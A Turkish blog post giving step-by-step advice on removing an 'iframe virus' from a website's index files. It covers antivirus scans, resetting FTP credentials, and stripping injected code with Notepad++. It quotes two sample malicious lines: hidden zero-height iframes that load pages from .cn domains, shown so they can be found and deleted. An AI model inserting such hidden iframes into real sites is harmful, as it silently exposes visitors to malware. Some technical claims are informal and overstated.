Iframe Virüslerinden Kurtulma

Yaklaşık bir yıl kadar önce iframe virüsü silme ile ilgili bir yazı yazmıştım bu sitede. Sonrasında da çeşitli platformlarda paylaşmıştım, paylaşılmıştı... Bir çoğunda kaynak belirtiliyordu fakat sitedeki yazı, datacenter yangınından sonra buhar olduğundan dolayı kaynağa erişim imkanı yoktu :) O yüzden yazıyı tekrar eklemeye kadar verdim... Iframe virüsü silme ilgili ilgili yeterli ve işe yarar kaynak bulma sıkıntısı yaşayanlar varsa, buyursun okusun...

Iframe virüsü bir siteye bulaşınca, tüm index dosyalarını pert ediyor ve siteyi ziyaret eden kullanıcının bilgisayarına da bulaşmadan duramıyor. Ayrıca sitenize bağlandığınız ftp programında şifre ve kullanıcı adınız kayıtlıysa, programı kapattığınıza bile bulaşma işlemi devam durmaz, devam eder. Iframe temizlemek için ise aşağıdaki adımları uygulayabilirsiniz:

1) Notepad++ programını indirin.

( Yüklemek için: NotePad++ )

2) Bilgisayarınıza güvenilir, işe yarar bir virüs programı ve malware temizleme aracı yükleyip tarama yapın.

Nod32 ve Norman Malware Cleaner iyi gider. Ücretsiz virüs programı kullanmak istiyorsanız, sadece tek bir programla tarama yapmak yerine, iki üç programla tarama yapmanızı tavsiye ederim. Hepsini tek tek yükleyip, tarama yapıp kaldırmanız şartıyla tabii ki (: Virüs programı ve Norman Malware Cleaner (oldukça kaliteli bir temizleme aracı) yükledikten ve güncellemelerini yaptıktan sonra internet bağlantınızı kesin.

( Yüklemek için : Norman Malware Cleaner )

3) Bilgisayarınız temizlendikten sonra, Ftp programına girip önbelleğinizdeki kayıtlı kullanıcı adı ve şifre bilgilerini temizleyin.

4) Web-site yönetim panelinize giriş yapın.

Yeni bir FTP şifresi belirleyin fakat sembol ve rakam içersin. Yani olabildiğince güvenli bir şifre seçin yeniden iframe virüsü bulaşmasın diye...

5) Dosya adında "index" kelimesi geçen ne kadar dosya varsa alayını bilgisayara çekin...

Elinizde bu dosyaların yedekleri varsa ne ala... Iframe silme işlemini başarıyla halletmiş olursunuz.

Eğer yoksa:

Bilgisayarınız indirdiğiniz tüm dosyaları Notepad++ programıyla açıp CTRL+F kombinasyonunu kullanarak alttaki tarza benzer ifadeleri bulun. Bul/Değiştir/Dosyada bul sekmelerinden "Değiştir"i seçerek açılan pencerede de "Tümünü Değiştir (Belge)" butonuna basarak,boşluk karakteriyle değiştirin aşağıdaki ifadeleri...

<iframe src="http://ww w.a24q.cn/index.htm" width="100" height="0" frameborder="0">

<iframe src="http://ww w.k38n.cn/xl.htm” width="100" height="0" frameborder="0">

Tam adı bunlar olmak zorunda değil ama genelde index dosyalarının en altında yazar. Herhangi birini kopyalayıp o iframe kodlarını aratın dosyalarda ve " " (boşluk/space)karakteriyle değiştirin hepsini.

6) Yapmanız gereken son şey ise iframe virüsü ile ilgili kodları içermeyen index dosyalarını tekrar upload etmek...

Eğer bunlar işe yaramıyorsa, tüm index dosyalarını taramamışsınızdır ya da taradığınız dosyalarda hala bazı iframe virüsü kodları vardır. Ama illa "sildim ben kardeşim daha ne yapayım?" diyorsanız, "bilgisayara ve siteye format atın" derim :) Ama tabi ne siz öyle bi' şey söylersiniz, ne de ben :)